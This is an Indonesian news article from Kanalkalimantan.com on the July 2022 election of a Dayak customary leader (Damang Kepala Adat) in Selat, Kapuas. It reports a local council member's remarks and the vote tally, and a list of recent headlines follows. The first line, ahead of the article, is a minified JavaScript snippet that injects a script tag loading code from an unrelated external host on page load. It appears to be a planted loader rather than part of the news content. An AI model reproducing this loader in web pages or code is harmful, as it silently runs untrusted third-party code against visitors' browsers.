(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Anggota DPRD Kapuas Ini Ikuti Pemilihan Damang Kepala Adat Selat


KANALKALIMANTAN.COM, KUALA KAPUAS – Anggota DPRD Kabupaten Kapuas dr HM Rosihan Anwar ikut berikan suara dalam pemilihan Damang Kepala Adat Kecamatan Selat di aula kantor Kecamatan Selat, Kabupaten Kapuas, Senin (18/7/2022).

Dalam kesempatan tersebut, dr HM Rosihan Anwar mengapresiasi atas pelaksanaan pemilihan Damang Kepala Adat (DKA) Selat yang berlangsung demokratis.

“Damang Kepala Adat Kecamatan Selat yang terpilih kita harapkan tingkatkan pembinaan. Suku Dayak lebih tingkatkan persatuan dan bekerjasama sengan suku-suku lain yang ada di wilayah ini,” kata Rosihan usai pemilihan.

Anggota DPRD Kapuas ini mengharapkan kepada Damang Kepala Adat yang terpilih dapat menjadi mitra pembangunan dan berkontribusi dalam pembangunan di Kabupaten Kapuas, guna terwujudnya masyarakat yang semakin inovatif, maju, berkeadilan dan sejahtera.

 

Baca juga  : Pemilihan DKA Kecamatan Selat, Manli D Apil Terpilih Ketua Damang Adat

“Kita harapkan kepada Damang Kepala Adat baru nantinya untuk dapat menjalin kerja sama yang baik, bersinergi dengan unsur kecamatan, para mantir adat, tokoh agama dan tokoh masyarakat yang ada di wilayah masing-masing,” katanya.

Ketua Panitia Pemilihan DKA Selat, Yaya Setiabudi SSos mengatakan, pemilihan diikuti tiga orang kandidat. Manli D Apil SH berhasil terpilih dengan perolehan 32 suara, Hendri S Dinan 27 suara dan Yudija Kusuma Jaya dengan 1 suara.

Sekadar diketahui, Damang Kepala Adat adalah pimpinan adat dari satu kedamangan yang terpilih berdasarkan hasil pemilihan oleh unsur desa dan unsur kelembagaan Kedamangan Adat Dayak yang masuk dalam wilayah tersebut.

Keberadaan damang dalam satu wilayah memiliki peran yang strategis sebagai mitra pemerintah daerah. Damang Kepala Adat memiliki peran dan fungsi membantu menangani permasalahan adat istiadat yang ada di wilayahnya

Selain itu, Damang Kepala Adat sangat berperan dalam pengembangan budaya, dan pembangunan wilayah kabupaten kapuas. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

5 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

19 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

21 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.